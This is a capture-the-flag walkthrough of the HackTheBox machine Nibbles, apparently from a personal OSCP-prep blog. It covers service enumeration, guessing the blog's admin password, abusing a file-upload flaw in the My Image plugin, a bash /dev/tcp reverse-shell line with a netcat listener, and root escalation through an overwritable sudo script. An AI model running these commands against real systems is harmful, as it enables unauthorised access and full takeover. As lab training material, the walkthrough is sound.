HackTheBox | Nibbles

In this walkthrough, I demonstrate how I obtained complete ownership of Nibbles on HackTheBox
HackTheBox | Nibbles
In: TJ Null OSCP Practice, OSCP Prep, HackTheBox, Attack, CTF

Nmap Results

# Nmap 7.93 scan initiated Wed Mar 29 13:19:01 2023 as: nmap -Pn -p- -T5 -A -oN scan.txt
Nmap scan report for
Host is up (0.014s latency).
Not shown: 65533 closed tcp ports (reset)
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4f8ade8f80477decf150d630a187e49 (RSA)
|   256 228fb197bf0f1708fc7e2c8fe9773a48 (ECDSA)
|_  256 e6ac27a3b5a9f1123c34a55d5beb3de9 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
Aggressive OS guesses: Linux 3.12 (95%), Linux 3.13 (95%), Linux 3.16 (95%), Linux 3.2 - 4.9 (95%), Linux 3.8 - 3.11 (95%), Linux 4.8 (95%), Linux 4.4 (95%), Linux 4.9 (95%), Linux 3.18 (95%), Linux 4.2 (95%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 199/tcp)
1   12.41 ms
2   12.51 ms

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Mar 29 13:19:27 2023 -- 1 IP address (1 host up) scanned in 27.26 seconds

Service Enumeration


Found this is in the page source code

Not much to go off of here. Time do some file and directory enumeration.

Gobuster Enumeration

gobuster dir -u -w /usr/share/seclists/Discovery/Web-Content/big.txt -x php,html -r -t 100 -o gobuster.txt

/README               (Status: 200) [Size: 4628]
/admin                (Status: 200) [Size: 2130]
/admin.php            (Status: 200) [Size: 1401]
/content              (Status: 200) [Size: 1356]
/feed.php             (Status: 200) [Size: 302]
/index.php            (Status: 200) [Size: 2987]
/install.php          (Status: 200) [Size: 78]
/languages            (Status: 200) [Size: 3170]
/plugins              (Status: 200) [Size: 3780]
/sitemap.php          (Status: 200) [Size: 402]
/themes               (Status: 200) [Size: 1744]
/update.php           (Status: 200) [Size: 1622]

Interesting Findings

'/README' shows this is version '4.0.3'
Exploit DB shows an arbitrary file upload for this version

Looks like we may be able to upload a file to the server and get code execution. The exploit shown above is a Metasploit payload. Let's see if we can make sense of the exploit and do it manually.

searchsploit -m 38489

Copy the exploit to our current directory

This is an authenticated exploit that uploads a PHP payload as an image file in the My Image plugin. Looking at this exploit, it seems the uploader does not perform any validation on the input. The file is uploaded to /content/private/plugins/my_image/image.ext, as the server renames the file to image and uses whichever file extension — .ext — you used with your payload.

So, we're going to have hunt for a potential username and try and bruteforce our way into admin.php. There's a good chance a possible username is nibbles, but let's do some due diligence.

The file seems to have a possible username in it:

<notification_email_to type="string">admin@nibbles.com</notification_email_to>

Finding the Admin Password

I — surprisingly — managed to guess the password into the blog on the second try:

  1. admin:admin — nope
  2. admin:nibbles — 🎉

Abusing the Plugin

Go to Plugins and find the My image plugin.

Click Configure. Now, let's create a quick .txt file for testing to make sure the server will process the input.

echo '0xBEN was here' > pwn.txt

Create a text file for testing

Choose File and select your test file
Click 'Save changes'

We got some warnings from a few scripts that tried to process the file as an image — sad trumpet noises. Let's see if the file has been uploaded as image.txt in the target path.


Good... Good...


The system administrator configured the Nibbles blog admin console with a very weak and guessable password. This allowed me to gain administrative access to the blog where I was able to exploit a vulnerable PHP script that does not validate the user is truly passing in an image file. Using this exploit, I am able to pass in a PHP script and achieve code execution on the server.

The recommended fix would be to use a strong password on the admin panel — and multifactor authentication if possible — as well as patch the vulnerable script to ensure the user input is validated.

Reverse Shell via PHP Script

PHP Reverse Shell Source Code

I'm going to use the PHP reverse shell found here:

A tiny PHP/bash reverse shell.
A tiny PHP/bash reverse shell. GitHub Gist: instantly share code, notes, and snippets.
Be sure to update the PHP source code with your VPN IP address and the TCP port you intend to listen on.

For example:

exec("/bin/bash -c 'bash -i >& /dev/tcp/x.x.x.x/443 0>&1'");

Shellz Yeah! Let's Go!

Start a Listener

sudo rlwrap nc -lnvp 443


In the same fashion as before, choose your PHP script file using the plugin's file selector.

Then, click Save changes. Once you've uploaded the file, let's see if the payload works:


Stabilize Your Shell

python3 -c "import pty; pty.spawn('/bin/bash')"

Post-Exploit Enumeration

Operating Environment

OS & Kernel

VERSION="16.04.3 LTS (Xenial Xerus)"
PRETTY_NAME="Ubuntu 16.04.3 LTS"
Linux Nibbles 4.4.0-104-generic #127-Ubuntu SMP Mon Dec 11 12:16:42 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

Current User

uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)
User nibbler may run the following commands on Nibbles:
    (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh

Users and Groups

Local Users


Local Groups


Network Configurations


 ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:50:56:b9:61:e5 brd ff:ff:ff:ff:ff:ff
    inet brd scope global ens192
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:61e5/64 scope global mngtmpaddr dynamic 
       valid_lft 86394sec preferred_lft 14394sec
    inet6 fe80::250:56ff:feb9:61e5/64 scope link 
       valid_lft forever preferred_lft forever

Open Ports

tcp        0      0*               LISTEN

Processes and Services

Interesting Services

apache2.service                 loaded active running LSB: Apache2 web server
mysql.service                   loaded active running MySQL Community Server

Interesting Files


unzip personal.zip
Archive:  personal.zip
   creating: personal/
   creating: personal/stuff/
  inflating: personal/stuff/monitor.sh

Privilege Escalation

It's pretty clear based on the enumeration that the privilege escalation path is the monitor.sh script run with sudo.

We own that file, so we can overwrite the script contents and use the sudo privileges to spawn a Bash sub-process as the root user.

cd /home/nibbler/personal/stuff
cp monitor.sh monitor.sh.orig
echo '/bin/bash -ip' > monitor.sh
sudo ./monitor.sh





More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.